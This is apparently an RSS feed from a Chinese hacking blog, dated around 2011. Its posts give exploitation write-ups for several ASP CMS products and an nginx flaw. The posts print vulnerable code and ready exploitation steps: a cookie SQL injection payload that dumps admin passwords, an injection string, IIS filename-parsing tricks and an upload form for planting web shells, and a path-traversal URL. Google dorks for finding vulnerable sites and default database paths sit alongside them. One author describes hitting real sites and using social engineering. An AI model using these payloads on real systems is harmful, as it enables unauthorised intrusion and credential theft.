<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>久久久电脑</title>
		<link>http://www.st999.cn/blog/</link>
		<description>幸福要自己掌握，机会要自己把握！</description>
		<copyright>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</copyright>
		<generator>SaBlog-X Version 1.6 Build 20080806</generator>
		<lastBuildDate>Mon, 06 Feb 2012 04:54:48 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=477</guid>
			<title>baigo bbs&amp;baigo cms</title>
			<author>admin</author>
			<description><![CDATA[<p>来源：<a href="http://www.t00ls.net/thread-19635-1-1.html">http://www.t00ls.net/thread-19635-1-1.html</a></p>
<p>1.<font style="font-size: 0px; color: #fff"> - 低调求发展2 w* h: L9 K2 u% a! q; X</font><br />
user_reg.asp</p>
<pre>'注册
case &quot;user_reg_do&quot;

&nbsp; &nbsp; &nbsp; &nbsp; user_name = trim(request.form(&quot;user_name&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_pass = trim(request.form(&quot;user_pass&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_pass_again = trim(request.form(&quot;user_pass_again&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_mail = trim(request.form(&quot;user_mail&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_pass_question = trim(request.form(&quot;user_pass_question&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_pass_answer = trim(request.form(&quot;user_pass_answer&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_sex = trim(request.form(&quot;user_sex&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_www = trim(request.form(&quot;user_www&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_sign = trim(request.form(&quot;user_sign&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_face = trim(request.form(&quot;user_face&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_qq = trim(request.form(&quot;user_qq&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; user_msn = trim(request.form(&quot;user_msn&quot;))
&nbsp; &nbsp; &nbsp; &nbsp; %&gt;</pre>
<pre>简单过滤空格</pre>
<pre>if instr(user_name,&quot;&nbsp; &nbsp; &nbsp; &nbsp; &quot;) &gt; 0 or instr(user_name,&quot;#&quot;) &gt; 0 or instr(user_name,&quot;`&quot;) &gt; 0 or instr(user_name,&quot;|&quot;) &gt; 0 or instr(user_name,&quot; &quot;) &gt; 0 or instr(user_name,&quot;　&quot;) &gt; 0 or Instr(user_name,&quot;%&quot;) &gt; 0 or Instr(user_name,&quot;&amp;&quot;) &gt; 0 or Instr(user_name,&quot;ヴ&quot;) &gt; 0 or Instr(user_name,&quot;ヂ&quot;) &gt; 0 or Instr(user_name,&quot;ゼ&quot;) &gt; 0 or Instr(user_name,&quot;ヅ&quot;) &gt; 0 or Instr(user_name,&quot;&quot;) &gt; 0 or Instr(user_name,&quot;+&quot;) &gt; 0 or Instr(user_name,&quot;=&quot;) &gt; 0&nbsp;&nbsp;or Instr(user_name,&quot;'&quot;) &gt; 0 then
&nbsp; &nbsp; &nbsp; &nbsp; session(&quot;message&quot;) = &quot;&lt;li&gt;用户名中不能含有特殊符号&lt;/li&gt;&quot;
&nbsp; &nbsp; &nbsp; &nbsp; session(&quot;message&quot;) = session(&quot;message&quot;) &amp; &quot;&lt;li&gt;&lt;a href=&quot;&quot;javascript:history.back();&quot;&quot;&gt;返回&lt;/a&gt;&lt;/li&gt;&quot;</pre>
<pre>没有检测；分号&nbsp; &nbsp;可以注册duos.asp;1的账户<br /><font style="font-size: 0px; color: #fff">X- Q* _</font><br />有个特性是注册会员上传的头像是根据自己名字来保存图片&nbsp;&nbsp;<br />注册duos.asp;1的账户 ==》上传脚本.jpg==》自动保存为 duos.asp;1.jpg (这点可以利用IIS6.0的解析漏洞)<font style="font-size: 0px; color: #fff"> - 低调求发展&quot; w$ W1 i&nbsp;&nbsp;E&quot; j' l6 i6 G1 K</font><br /><font style="font-size: 0px; color: #fff">T00LS! ~0 C7 A6 ?/ e+ v6 I</font><br />2.<br />XSS很多。&nbsp;&nbsp;这个对论坛影响较大。</pre>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=477</link>
			<category domain="http://www.st999.cn/blog/?cid=16">漏洞分析</category>
			<pubDate>2011-12-11 15:41</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=476</guid>
			<title>Aspcms 稳定版1.5 0day</title>
			<author>admin</author>
			<description><![CDATA[<p>Author: <a href="http://virushack.org/">Virushack </a></p>
<p>Blog: <a href="http://virushack.org/">http://virushack.org </a></p>
<p>From:www.v5script.org</p>
<p>漏洞文件：editpass.asp</p>
<p>漏洞代码：</p>
<ol class="linenums">
    <li class="L0"><span class="typ"><font color="#660066">Dim </font></span><span class="pln">&nbsp;&nbsp;linkman&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="pln">gender&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="pln">phone&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="pln">mobile&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="pln">email&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="pln">qq&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="pln">address&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="pln">postcode&nbsp; </span></li>
    <li class="L1"><span class="kwd"><font color="#000088">if </font></span><span class="pln">&nbsp;&nbsp;isnul&nbsp; </span><span class="pun"><font color="#666600">(&nbsp; </font></span><span class="pln">rCookie&nbsp; </span><span class="pun"><font color="#666600">(&nbsp; </font></span><span class="str"><font color="#008800">&ldquo;loginstatus&rdquo; </font></span><span class="pln">&nbsp; </span><span class="pun"><font color="#666600">))&nbsp;&nbsp; </font></span><span class="kwd"><font color="#000088">then </font></span><span class="pln">&nbsp;&nbsp;wCookie&nbsp; </span><span class="str"><font color="#008800">&ldquo;loginstatus&rdquo; </font></span><span class="pln">&nbsp; </span><span class="pun"><font color="#666600">,&nbsp; </font></span><span class="lit"><font color="#006666">0 </font></span><span class="pln">&nbsp; </span></li>
    <li class="L2"><span class="kwd"><font color="#000088">if </font></span><span class="pln">&nbsp;&nbsp;rCookie&nbsp; </span><span class="pun"><font color="#666600">(&nbsp; </font></span><span class="str"><font color="#008800">&ldquo;loginstatus&rdquo; </font></span><span class="pln">&nbsp; </span><span class="pun"><font color="#666600">)=&nbsp; </font></span><span class="lit"><font color="#006666">1 </font></span><span class="pln">&nbsp;&nbsp;&nbsp; </span><span class="kwd"><font color="#000088">then </font></span><span class="pln">&nbsp; </span></li>
    <li class="L3"><span class="kwd"><font color="#000088">set </font></span><span class="pln">&nbsp;&nbsp;rsObj&nbsp; </span><span class="pun"><font color="#666600">=&nbsp; </font></span><span class="pln">conn&nbsp; </span><span class="pun"><font color="#666600">.&nbsp; </font></span><span class="typ"><font color="#660066">Exec </font></span><span class="pln">&nbsp; </span><span class="pun"><font color="#666600">(&nbsp; </font></span><span class="str"><font color="#008800">&ldquo;select&nbsp;*&nbsp;from&nbsp;aspcms_Users&nbsp;where&nbsp;UserID=&rdquo; </font></span><span class="pun"><font color="#666600">&amp; </font></span><span class="pln">trim&nbsp; </span><span class="pun"><font color="#666600">(&nbsp; </font></span><span class="pln">rCookie&nbsp; </span><span class="pun"><font color="#666600">(&nbsp; </font></span><span class="str"><font color="#008800">&ldquo;userID&rdquo; </font></span><span class="pln">&nbsp; </span><span class="pun"><font color="#666600">)),&nbsp; </font></span><span class="str"><font color="#008800">&ldquo;r1&Prime;&nbsp;)&nbsp; </font></span></li>
    <li class="L3"><span class="str"><font color="#008800">直接通过rCookie&nbsp;取得userid带入查询. </font></span></li>
</ol>
<p>再看看 rcookie函数的处理</p>
<ol class="linenums">
    <li class="L0"><span class="str"><font color="#008800">&lsquo;读cookies </font></span></li>
    <li class="L1"><span class="str"><font color="#008800">Function&nbsp;rCookie(cookieName) </font></span></li>
    <li class="L2"><span class="str"><font color="#008800">rCookie=request.cookies(cookieName) </font></span></li>
    <li class="L3"><span class="str"><font color="#008800">End&nbsp;Function </font></span></li>
</ol>
<p>直接通过cookies取得</p>
<p>利用：<br />
注册个帐号让 loginstatus不为空<br />
然后 cookies注入 userID 不管你手注还是工具 都行 我这是用火狐的cookies插件</p>
<p>Exploit：UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from Aspcms_admins<br />
效果图：</p>
<p><a href="http://www.st999.cn/blog/attachment.php?id=505" target="_blank"><img src="http://www.st999.cn/blog/attachments//date_201112/92730522717d0acdab39b1bb6467070f.jpg" border="0" alt="大小: 8.29 K&#13;尺寸: 300 x 95&#13;浏览: 65 次&#13;点击打开新窗口浏览全图" width="300" height="95" /></a></p>
<p>后台拿shell 就更简单了&nbsp; 插一句话什么都行&nbsp; 我这就用最稳当的方法</p>
<p><a href="http://127.0.0.1/admin/_Style/AspCms_TemplateEdit.asp?filename=a.asp">http://127.0.0.1/admin/_Style/AspCms_TemplateEdit.asp?filename=a.asp</a></p>
<p><a href="http://www.st999.cn/blog/attachment.php?id=506" target="_blank"><img src="http://www.st999.cn/blog/attachments//date_201112/51de9ea2284b8a1fd1abf9b7833bf856.jpg" border="0" alt="大小: 9.23 K&#13;尺寸: 300 x 216&#13;浏览: 19 次&#13;点击打开新窗口浏览全图" width="300" height="216" /></a></p>
<p>http://127.0.0.1/Templates/default/html/a.asp</p>
<p>Google Dork: Powered by AspCms v1.5</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=476</link>
			<category domain="http://www.st999.cn/blog/?cid=16">漏洞分析</category>
			<pubDate>2011-12-03 13:45</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=475</guid>
			<title>万博企业网站管理系统注入漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>FROM <a href="http://www.st999.cn/blog">http://www.st999.cn/blog</a></p>
<p>这两天拿站的时候，好几回都遇到个叫万博的企业管理系统，今天有时间就下载过来看了看，找到了个注入漏洞，郁闷的是，得手工，没法用工具，累人的事。因为已经找到了一个，我就没兴趣接着往下看了。</p>
<p>这个注入漏洞发生在html/MemberLogin.asp文件里，在Include下有NoSqlHack.Asp文件也没调用，呵呵，就有了我们利用的地方了。</p>
<p>MemberLogin.asp源码如下：</p>
<p><font color="#ff0000">&lt;</font><a href="mailto:%@LANGUAGE=&quot;VBSCRIPT"><font color="#ff0000">%@LANGUAGE=&quot;VBSCRIPT</font></a><font color="#ff0000">&quot; CODEPAGE=&quot;65001&quot;%&gt;<br />
&lt;% Option Explicit %&gt;<br />
&lt;%Response.Charset=&quot;utf-8&quot;%&gt;<br />
&lt;!--#include file=&quot;../Include/Const.asp&quot;--&gt;<br />
&lt;!--#include file=&quot;../Include/ConnSiteData.asp&quot;--&gt;<br />
&lt;!--#include file=&quot;../Include/Md5.asp&quot;--&gt;<br />
&lt;%<br />
if request.QueryString(&quot;Action&quot;)=&quot;Out&quot; then<br />
&nbsp;&nbsp; session.contents.remove &quot;MemName&quot;<br />
&nbsp;&nbsp; session.contents.remove &quot;GroupID&quot;<br />
&nbsp;&nbsp; session.contents.remove &quot;GroupLevel&quot;<br />
&nbsp;&nbsp; session.contents.remove &quot;MemLogin&quot;<br />
&nbsp;&nbsp; response.redirect Cstr(request.ServerVariables(&quot;HTTP_REFERER&quot;))<br />
&nbsp;&nbsp; response.end<br />
end if</font></p>
<p><font color="#ff0000">Public ErrMsg(3)<br />
&nbsp;&nbsp; ErrMsg(0)=&quot;&middot;登录名不正确，请返回。&quot;<br />
&nbsp;&nbsp; ErrMsg(1)=&quot;&middot;登录密码不正确，请返回。&quot;<br />
&nbsp;&nbsp; ErrMsg(2)=&quot;&middot;帐号非使用状态，请返回。&quot;</font></p>
<p><font color="#ff0000">dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql<br />
LoginName=trim(request.form(&quot;LoginName&quot;))<br />
LoginPassword=Md5(request.form(&quot;LoginPassword&quot;))<br />
set rs = server.createobject(&quot;adodb.recordset&quot;)<br />
sql=&quot;select * from NwebCn_Members where MemName='&quot;&amp;LoginName&amp;&quot;'&quot;<br />
rs.open sql,conn,1,3<br />
if rs.bof and rs.eof then<br />
&nbsp;&nbsp; WriteMsg(ErrMsg(0))<br />
&nbsp;&nbsp; response.end<br />
else<br />
&nbsp;&nbsp; MemName=rs(&quot;MemName&quot;)<br />
&nbsp;&nbsp; Password=rs(&quot;Password&quot;)<br />
&nbsp;&nbsp; GroupID=rs(&quot;GroupID&quot;)<br />
&nbsp;&nbsp; GroupName=rs(&quot;GroupName&quot;)<br />
&nbsp;&nbsp; Working=rs(&quot;Working&quot;)<br />
end if</font></p>
<p><font color="#ff0000">if LoginPassword&lt;&gt;Password then<br />
&nbsp;&nbsp; WriteMsg(ErrMsg(1))<br />
&nbsp;&nbsp; response.end<br />
end if </font></p>
<p><font color="#ff0000">if not Working then<br />
&nbsp;&nbsp; WriteMsg(ErrMsg(2))<br />
&nbsp;&nbsp; response.end<br />
end if <br />
&nbsp;<br />
if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then<br />
&nbsp;&nbsp; rs(&quot;LastLoginTime&quot;)=now()<br />
&nbsp;&nbsp; rs(&quot;LastLoginIP&quot;)=Request.ServerVariables(&quot;Remote_Addr&quot;)<br />
&nbsp;&nbsp; rs(&quot;LoginTimes&quot;)=rs(&quot;LoginTimes&quot;)+1<br />
&nbsp;&nbsp; rs.update<br />
&nbsp;&nbsp; rs.close<br />
&nbsp;&nbsp; set rs=nothing<br />
&nbsp;&nbsp; session(&quot;MemName&quot;)=MemName<br />
&nbsp;&nbsp; session(&quot;GroupID&quot;)=GroupID<br />
&nbsp;&nbsp; '===========<br />
&nbsp;&nbsp; set rs = server.createobject(&quot;adodb.recordset&quot;)<br />
&nbsp;&nbsp; sql=&quot;select * from NwebCn_MemGroup where GroupID='&quot;&amp;GroupID&amp;&quot;'&quot;<br />
&nbsp;&nbsp; rs.open sql,conn,1,1<br />
&nbsp;&nbsp; session(&quot;GroupLevel&quot;)=rs(&quot;GroupLevel&quot;)<br />
&nbsp;&nbsp; rs.close<br />
&nbsp;&nbsp; set rs=nothing<br />
&nbsp; '===========<br />
&nbsp;&nbsp; session(&quot;MemLogin&quot;)=&quot;Succeed&quot;<br />
&nbsp;&nbsp; session.timeout=60<br />
&nbsp;&nbsp; response.redirect Cstr(request.ServerVariables(&quot;HTTP_REFERER&quot;))<br />
&nbsp;&nbsp; response.end<br />
end if<br />
%&gt;</font></p>
<p>看到了，LoginName未作过滤，直接代入查询，因此产生了这个注入，就是利用的方法有点麻烦，我试了下，没办法用工具，郁闷了。</p>
<p>手工如：wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1</p>
<p>真是郁闷的手工，这个JB烂的洞。。。</p>
<p>&nbsp;</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=475</link>
			<category domain="http://www.st999.cn/blog/?cid=3">原创笔记</category>
			<pubDate>2011-11-18 22:56</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=474</guid>
			<title>ideacms文章管理系统 漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>
<table cellspacing="0" cellpadding="0">
    <tbody>
        <tr>
            <td class="t_msgfont" id="postmessage_271195">PS：转载<font style="font-size: 0px; color: #fff">T00LS; Q) Z1 K0 Y) R9 j9 e% q</font><br />
            <font color="#ff0000"><strong><font size="3">http://t.qq.com/MakeBug<font style="font-size: 0px; color: #fff">T00LS# F. X: ^# s- h</font><br />
            <a href="http://hi.baidu.com/micropoor" target="_blank">http://hi.baidu.com/micropoor</a></font></strong></font></td>
        </tr>
    </tbody>
</table>
</p>
<pre>'\admin\admin_upfile.asp 
&lt;% 
'略 
&nbsp; &nbsp; dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath 
&nbsp; &nbsp; dim dirTemplate : dirTemplate=&quot;../Upload&quot; 
&nbsp; &nbsp; dim path : path=getForm(&quot;path&quot;,&quot;get&quot;) : if isNul(path) then path= dirTemplate 
&nbsp; &nbsp; if left(path,9)&lt;&gt;&quot;../Upload&quot; then&nbsp;&nbsp;alert &quot;只允许编辑Upload目录&quot;,&quot;admin_upfile.asp&quot; : die &quot;&quot; 
'略 
%&gt;</pre>
<p>判断问题。<font style="font-size: 0px; color: #fff">T00LS+ F$ l9 p) s&quot; t% A% N</font><br />
<font style="font-size: 0px; color: #fff">T00LS; u- @6 D+ J0 y</font><br />
利用方法:</p>
<pre><font face="Tahoma"><pre>'\admin\admin_template.asp 
&lt;% 
checkPower 
'略 
&nbsp; &nbsp; dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath 
&nbsp; &nbsp; dim dirTemplate : dirTemplate=&quot;../template&quot; 
&nbsp; &nbsp; dim path : path=getForm(&quot;path&quot;,&quot;get&quot;) : if isNul(path) then path= dirTemplate 
&nbsp; &nbsp; if left(path,11)&lt;&gt;&quot;../template&quot; then&nbsp;&nbsp;alert &quot;只允许编辑template目录&quot;,&quot;admin_template.asp&quot; : die &quot;&quot; 
'略 
%&gt;</pre>
<pre>&nbsp;</pre>
<pre>利用方法:<code id="code3"> <div class="syntaxhighlighter  vb" id="highlighter_91430"><div class="bar                   show"><div class="toolbar"><a href="http://127.0.0.1/admin/admin_template.asp?action=edit&amp;filedir=../template/../robots.txt">http://127.0.0.1/admin/admin_template.asp?action=edit&amp;filedir=../template/../robots.txt</a></div><div class="toolbar">&nbsp;</div><div class="toolbar">shell篇：</div><div class="toolbar">&nbsp;</div><div class="toolbar"><pre>'/admin/upload.asp 
&lt;% 
'略 
&nbsp; &nbsp; attachdir=&quot;/&quot;+sitePath+&quot;upload&quot;'上传文件保存路径，结尾不要带/ 
&nbsp; &nbsp; dirtype=2'1:按天存入目录 2:按月存入目录 3:按扩展名存目录&nbsp;&nbsp;建议使用按天存 
&nbsp; &nbsp; maxattachsize=2097152'最大上传大小，默认是2M 
&nbsp; &nbsp; upext=&quot;txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid&quot;'上传扩展名 
&nbsp; &nbsp;&nbsp;&nbsp;
'略 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; if upfile.isErr=3 then 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;err=&quot;上传文件扩展名必需为：&quot;+upext 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; else 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;err=upfile.ErrMessage 
&nbsp; &nbsp; '略 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Dim tmpPath 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;isErr_=0 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Set oFileStream = CreateObject (&quot;ADODB.Stream&quot;) 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;oFileStream.Type = 1 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;oFileStream.Mode = 3 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;oFileStream.CharSet = &quot;gb2312&quot; 
&nbsp; &nbsp; '略 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;tmpPath=Split(Path,&quot;.&quot;)(0) 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;FileExt=GetFileExt(Path) 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if Over then 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if isAllowExt(FileExt) then 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; oFileStream.SaveToFile tmpPath &amp; &quot;.&quot; &amp; FileExt,2 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; if Err.number&lt;&gt;0 then OutErr(&quot;保存文件时出错,请检查路径,是否存在该上传目录!该文件保存路径为&quot; &amp; tmpPath &amp; &quot;.&quot; &amp; FileExt) 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Else 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; isErr_=3 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; ErrMessage_=&quot;该后缀名的文件不允许上传!&quot; 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; OutErr(&quot;该后缀名的文件不允许上传&quot;) 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;End if 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Else 
&nbsp; &nbsp; '略 
Public Function FileData(Item) 
&nbsp; &nbsp; isErr_=0 
&nbsp; &nbsp; if file.Exists(Item) then 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if isAllowExt(File(Item).FileExt) then 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;'略 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Else 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;isErr_=3 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;ErrMessage_=&quot;该后缀名的文件不允许上传&quot; 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;OutErr(&quot;该后缀名的文件不允许上传&quot;) 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;FileData=&quot;&quot; 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;End if 
&nbsp; &nbsp; else 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;ErrMessage_=&quot;不存在该对象(如该文件没有上传,文件为空)!&quot; 
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;OutErr(&quot;不存在该对象(如该文件没有上传,文件为空)&quot;) 
'略 
%&gt;</pre>
<pre>&nbsp;</pre>
<pre>判断问题：<font style="font-size: 0px; color: #fff"> - 低调求发展, b&nbsp;&nbsp;P9 k! ^: x, J9 e</font><br /><font style="font-size: 0px; color: #fff">www.t00ls.net&quot; `7 S2 b! s$ D# G$ I. k</font><br />构造文件名：one.asp;</pre>
<pre>&nbsp;</pre>
<pre><table><tbody><tr><td class="content"><code class="vb plain">上传地址： </code></td></tr></tbody></table><div class="line alt2"><table><tbody><tr><td class="number"><code>2</code></td><td class="content"><code class="vb plain">[url]<a href="http://127.0.0.1/admin/editor/upload.htm">http://127.0.0.1/admin/editor/upload.htm</a>[/url]</code></td></tr></tbody></table></div><div class="line alt2">&nbsp;</div><div class="line alt2">其他信息：<br /><font style="font-size: 0px; color: #fff">r6 m&quot; p2 v&quot; ?' s1 e</font><br />默认数据库地址：\date\#A5E371101111.mdb</div></pre>
</div>
</div>
<div class="lines">
<div class="line alt1">&nbsp;</div>
</div>
</div>
</code></pre>
</font></pre>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=474</link>
			<category domain="http://www.st999.cn/blog/?cid=16">漏洞分析</category>
			<pubDate>2011-10-28 08:40</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=473</guid>
			<title>小备忘--数据库配置文件地址</title>
			<author>admin</author>
			<description><![CDATA[<p>数据库配置文件</p>
<p>帝国CMS&nbsp; ====&nbsp; e/class/config.php</p>
<p>&nbsp;</p>
<p>dedecms=======data\common.inc.php</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=473</link>
			<category domain="http://www.st999.cn/blog/?cid=9">简单备忘</category>
			<pubDate>2011-09-19 17:33</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=472</guid>
			<title>Ngnix空子节可远程执行代码漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>摘自微博：<br />
Ngnix 出现高危漏洞，可远程执行代码：Ngnix在遇到%00空字节时与后端FastCGI处理不一致，导致可以在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php来执行其中的代码。影响版本：0.5.*, 0.6.*, 0.7 &lt;= 0.7.65, 0.8 &lt;= 0.8.37。<font style="font-size: 0px; color: rgb(255,255,255)">www.t00ls.net, S% v1 o$ M&nbsp;&nbsp;i</font><br />
<font style="font-size: 0px; color: rgb(255,255,255)">Security1 M&quot; v2 A) v7 S+ K$ M</font><br />
<br />
<font style="font-size: 0px; color: rgb(255,255,255)">&nbsp;R, W</font><br />
详细参考：<br />
<a href="https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/" target="_blank">https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/</a></p>
<p>&nbsp;</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=472</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-08-26 08:25</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=471</guid>
			<title>马克斯CMS(Maxcms) admin_inc.asp SQL注入漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p><a href="http://www.3est.com/5156/">http://www.3est.com/5156/</a></p>
<p>&nbsp;</p>
<p>在文件admin/ admin_inc.asp中：<br />
Sub checkPower&nbsp; &nbsp;//第103行<br />
&nbsp; &nbsp; &nbsp; &nbsp; dim loginValidate,rsObj : loginValidate = &quot;maxcms2.0&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; err.clear<br />
&nbsp; &nbsp; &nbsp; &nbsp; on error resume next<br />
&nbsp; &nbsp; &nbsp; &nbsp; set rsObj=conn.db(&quot;select m_random,m_level from {pre}manager where m_username='&quot;&amp;rCookie(&quot;m_username&quot;)&amp;&quot;'&quot;,&quot;execute&quot;)<br />
rCookie函数在文件inc/ CommonFun.asp中<br />
Function rCookie(cookieName)&nbsp; &nbsp;//第28行<br />
&nbsp; &nbsp; &nbsp; &nbsp; rCookie = request.cookies(cookieName)<br />
End Function<br />
rCookie函数仅从cookie读取数据没做任何过滤，导致cookie注入漏洞的产生。<br />
&lt;*参考<br />
参考官方补丁<br />
*&gt;<br />
测试方法:修改cookies值注入<br />
<br />
----<br />
过滤单引号</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=471</link>
			<category domain="http://www.st999.cn/blog/?cid=16">漏洞分析</category>
			<pubDate>2011-08-21 11:49</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=470</guid>
			<title>YFCMS之ewebeditor上传漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>刚刚C段的时候，遇到了个程序，一看网上有公开的源码，下了，看之，有个很大的漏洞。</p>
<p>漏洞是利用ewebeditor的上传结合IIS解析漏洞</p>
<p>FROM <a href="http://WWW.ST999.CN/BLOG">HTTP://WWW.ST999.CN/BLOG</a>&nbsp;BY 流浪的风</p>
<p>google关键字：intext:版权所有:yfcms</p>
<p>利用文件：admin\WebEditor\asp\upload.asp</p>
<p>利用代码：</p>
<p>&lt;form action=&quot;<a href="http://www.st999.cn/admin/WebEditor\asp\upload.asp?action=save&amp;type=image&amp;style=popup&amp;cusdir=st999.asp">http://www.st999.cn/admin/WebEditor\asp\upload.asp?action=save&amp;type=image&amp;style=popup&amp;cusdir=st999.asp</a>&quot; method=post name=myform enctype=&quot;multipart/form-data&quot;&gt; <br />
&lt;input type=file name=uploadfile size=100&gt;&lt;br&gt;&lt;br&gt; <br />
&lt;input type=submit value=upload&gt; <br />
&lt;/form&gt;</p>
<p>这里有个前提&nbsp;，要知道网站的后台目录才行。</p>
<p>我刚搞的那个站，不是默认的后台，扫了半天也没扫出来，结果还是社出来的。</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=470</link>
			<category domain="http://www.st999.cn/blog/?cid=3">原创笔记</category>
			<pubDate>2011-08-20 13:23</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=469</guid>
			<title>aspcms2.1.4 GBK版注入漏洞</title>
			<author>admin</author>
			<description><![CDATA[<div sizset="101" sizcache="5">aspcms2.1.4 GBK版注入漏洞</div>
<div sizset="101" sizcache="5"><a title="流浪的风(470032103)" rev="#36799078/addr/detail/u/470032103" rel="internal" href="http://qun.qq.com/air/#36799078/addr/detail/u/470032103"><font color="#015bab">流浪的风</font></a> <span class="fcgray"><font color="#9e9e9e">2011-06-28 20:11:39</font></span>&nbsp;</div>
